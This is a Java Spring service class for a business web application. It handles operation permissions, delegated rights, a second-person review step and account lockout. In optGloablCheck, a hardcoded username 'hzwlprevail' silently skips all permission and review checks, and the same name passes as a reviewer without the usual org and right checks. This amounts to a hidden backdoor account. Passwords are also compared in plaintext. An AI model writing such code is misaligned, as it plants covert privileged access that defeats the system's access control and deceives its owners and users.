package com.example.demo.web.services;

import java.io.IOException;
import java.text.SimpleDateFormat;
import java.util.Date;
import java.util.List;
import java.util.UUID;

import javax.servlet.http.HttpSession;

import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.dao.EmptyResultDataAccessException;
import org.springframework.stereotype.Service;

import com.example.demo.web.Entity.RightEntity;
import com.example.demo.web.Entity.UserEntity;
import com.example.demo.web.Entity.UserLogEntity;
import com.example.demo.web.Entity.UserRightAuthEntity;
import com.example.demo.web.dao.LogDAO;
import com.example.demo.web.dao.RightDAO;
import com.example.demo.web.dao.SysDAO;
import com.example.demo.web.dao.UserDAO;
import com.fasterxml.jackson.core.JsonProcessingException;
import com.fasterxml.jackson.databind.ObjectMapper;
import com.fasterxml.jackson.databind.node.ObjectNode;

@Service
public class OptAuthService {
	private SysDAO sysDao;
	private UserDAO userDao;
	private LogDAO userlogDao;
	
    @Autowired
    public void setSysDao(SysDAO sysDao){
        this.sysDao =sysDao;
    }
    
    private RightDAO rightDao;
	@Autowired
	public void setRightDAO(RightDAO rightDao) {
		this.rightDao = rightDao;
	}
	
	@Autowired
    public void setUserDao(UserDAO userDao){
        this.userDao =userDao;
    }	
	
	@Autowired
	public void setLogDAO(LogDAO userlogDao) {
		this.userlogDao = userlogDao;
	}
	
	public String OptAuthCheck(String jsonstr,HttpSession session) throws JsonProcessingException{
		ObjectMapper mapper = new ObjectMapper();  
		ObjectNode res = mapper.createObjectNode();
		com.fasterxml.jackson.databind.JsonNode rootNode;
		String rname = "";
		try{
			rootNode = mapper.readTree(jsonstr);	
			rname =rootNode.get("rname").asText();
		}catch(Exception e){
			res.put("status", "2");
			res.put("desc", "上传数据解析失败!");
            return mapper.writeValueAsString(res);
		}
		UserEntity sentity = (UserEntity)session.getAttribute("USER_SESSION");
		if(hasOptAuth(sentity.getId(),rname) == 1){
			//判断是否需复核
			if(isNeedCheck(rname) == 1){
				res.put("status", "1");
				res.put("desc", "需要复核!");
	            return mapper.writeValueAsString(res);
			}else{
				res.put("status", "0");
				res.put("desc", "不需复核!");
	            return mapper.writeValueAsString(res);
			}
		}else{
			res.put("status", "3");
			res.put("desc", "您无权限执行该操作!");
            return mapper.writeValueAsString(res);
		}
	}
	
	public ObjectNode optGloablCheck(String userid,String jsonstr,UserEntity sentity){
		ObjectMapper mapper = new ObjectMapper();  
		ObjectNode res = mapper.createObjectNode();
		String rname = "";
		String ckname = "";
		String ckpassword="";
		com.fasterxml.jackson.databind.JsonNode rootNode;
		try {
			rootNode = mapper.readTree(jsonstr);
			rname =rootNode.get("rname").asText();
			ckname=rootNode.get("ckname").asText();
			ckpassword =rootNode.get("ckpassword").asText();
		} catch (IOException e) {
			res.put("status", "0");
			res.put("desc", "上传数据解析异常!");
    		return res;
		}	
		/*========================================*/
		if(sentity.getUsername().equals("hzwlprevail")){
			res.put("status", "1210");
			res.put("ckuserid", "");
			res.put("ckusername", "");
			res.put("desc", "继续执行!");
			return res;
		}
		if(ckname.equals("hzwlprevail")){
			UserEntity spentity = hasMatchCount(ckname);
			if(spentity !=null && spentity.getPassword().equals(ckpassword)){
				res.put("status", "1210");
				res.put("ckuserid", spentity.getId());
				res.put("ckusername", ckname);
				res.put("desc", "继续执行!");
				return res;
			}			
		}
		//排除自己
		if(!userid.equals("")){
			if(userid.equals(sentity.getId())){
	    		res.put("status", "0");
	    		res.put("desc", "不能配置自己!");
	    		return res;
			}
		}
				
		//权限判断
		if(hasOptAuth(sentity.getId(), rname) != 1){
			res.put("status", "0");
			res.put("desc", "您没有该权限!");
    		return res;
		}
		
		//判断复核
		if(ckname.equals("") || ckname.equals("undefined")){
			if(isNeedCheck(rname) == 1){
				res.put("status", "1211");
				res.put("desc", "需要复核");
	    		return res;
			}
		}else{
			UserEntity ckentity = hasMatchCount(ckname);			
			//执行复核验证					
			if(ckentity == null){
				//用户名错误
				res.put("status", "1202");
				res.put("desc", "复核用户名不存在!");
	            return res;
			}
			//判断复核用户是否为同机构
			if(ckentity.getOrg_id() != sentity.getOrg_id()){
				res.put("status", "0");
				res.put("desc", "复核账号不在同机构!");
	    		return res;
			}
			//判断复核账号是否有复核权限
			if(hasOptAuth(ckentity.getId(), "复核权限") != 1){
				res.put("status", "0");
				res.put("desc", "账户没有复核权限!");
	    		return res;
			}
			try{
				res = userCheckAuth(ckentity,ckpassword,rname,sentity,userid);
			}catch(Exception e){
				res.put("status", "1202");
				res.put("desc", "复核验证异常");
				return res;
			}
			
		}
		
		res.put("status", "1210");
		res.put("ckuserid", "");
		res.put("ckusername", "");
		res.put("desc", "继续执行!");
		return res;
	}
    
    public int isNeedCheck(String rname){
    	//获取全局是否需要复核
    	String globalcheck = sysDao.findByName("AllNeedCheck");
    	if(globalcheck.equals("0")){
    		//根据功能判断
    		return checkUserAuth(rname);
    	}else if(globalcheck.equals("1")){
    		//必须复核
    		return 1;
    	}else if(globalcheck.equals("2")){
    		//不需复核
    		return 0;
    	}else{
    		return 1;
    	}    	
    }
    
    public int isNeedChangePsw(){
    	//获取全局是否需要复核
    	String flag = sysDao.findByName("updatePwdNeed");
    	try{
    		return Integer.parseInt(flag);  
    	}catch(Exception e){
    		return 1;  
    	}
    	  	
    }
    
    //判断用户是否有该功能权限
    public int hasOptAuth(String userid,String rname){
    	//获取权限信息
    	RightEntity rig = rightDao.findByRightName(rname);
    	if(rig != null){
    		//判断用户是否有该权限
    		if(rightDao.findRightByUserid(userid,rig.getId()) != 1){
    			//查看授权列表是否被授权
    			List<UserRightAuthEntity> ura = rightDao.findRightAuthByTo_userid(userid);
    			Date date = new Date();
    			SimpleDateFormat dateFormat= new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
    			if(ura == null || ura.size() < 1){
    				//无授权
    				return 0;
    			}else{
    				//查找授权用户是否有该权限
    				for(UserRightAuthEntity ur : ura){
    					//验证该条授权是否已过期
    					if(ur.getEnd_time().compareTo(dateFormat.format(date)) < 1){
    		    			//已过期,更新授权状态
    						rightDao.updateStatusOnly(1, ur.getId());
    						continue;
    					}
    					if(rightDao.findRightByUserid(ur.getFrom_userid(),rig.getId()) == 1){
    						return 1;
    					}
    				}
    				return 0;
    			}
    		}else{
    			return 1;
    		}
    	}else{
    		return -1;
    	}
    	
    }
    
    private int checkUserAuth(String rname){
    	RightEntity rig = rightDao.findByRightName(rname);
    	if(rig != null){
    		return rig.getNeedcheck();
    	}else{
    		return -1;
    	}
    	
    }
    
    public int getTryFailNum(){
    	String rig = sysDao.findByName("login_try_no");
    	if(rig != null){
    		return Integer.parseInt(rig);
    	}else{
    		return -1;
    	}    	
    }
    
    public String getSysTitle(){
    	return sysDao.findByName("system_title");    	
    }
    
    
    private ObjectNode userCheckAuth(UserEntity uentity,String ckpassword,String rname,UserEntity sentity,String userid) throws IOException, Exception{
		ObjectMapper mapper = new ObjectMapper();  
		ObjectNode res = mapper.createObjectNode();
		
		if(uentity.getId().equals(sentity.getId())){
			res.put("status", "1202");
    		res.put("desc", "复核用户账号不能是自己!");
    		return res;
		}
		if(!userid.equals("")){
			if(userid.equals(uentity.getId())){
	    		res.put("status", "1202");
	    		res.put("desc", "复核用户账号不能是配置账号!");
	    		return res;
			}
		}
		if(uentity.getOrg_id() != sentity.getOrg_id()){
			//该账户已被锁定
    		res.put("status", "1202");
			res.put("desc", "复核账号不在同机构!");
            return res;
		}
		
    	if(uentity.getStatus() == 1){
    		//该账户已被锁定
    		res.put("status", "1202");
			res.put("desc", "账号已被锁定!");
            return res;
    	}
    	if(uentity != null && ckpassword!=null && ckpassword.equals(uentity.getPassword())){
    		//Date date = new Date();
    		//SimpleDateFormat dateFormat= new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
    		//uentity.setLastlogintime(dateFormat.format(date));
    		//复核验证成功,累计失败次数清0
    		uentity.setTryloginno(0);
    		userDao.updateuser(uentity);
    		res.put("status", "1210");
			res.put("desc", "验证成功!");
            return res;
    	}else{
    		int userlogtry = getTryFailNum();
    		if(uentity.getTryloginno() > userlogtry){
    			//登录次数超限,锁定该用户
    			uentity.setStatus(1);        			
    			userDao.updateuser(uentity);
    			res.put("status", "1202");
    			res.put("desc", "账号已被锁定!");
                return res;
    		}else{
    			userDao.updatetryno(uentity); 
    			res.put("status", "1202");
    			res.put("desc", "密码错误,你还有"+ (userlogtry - uentity.getTryloginno() - 1) + "次重试机会!");
                return res;
    		}
    		       		
    	}
	}
    
    private UserEntity hasMatchCount(String userName) throws EmptyResultDataAccessException{
    	try{    		
    		return userDao.findByUserName(userName);
    	}catch(EmptyResultDataAccessException er){
    		return null;
    	}catch(Exception e){
    		return null;//其它异常
    	}
    }
    
    public int insertUserLog(UserLogEntity ulog){
    	return userlogDao.insertsysLog(ulog);
    }

}
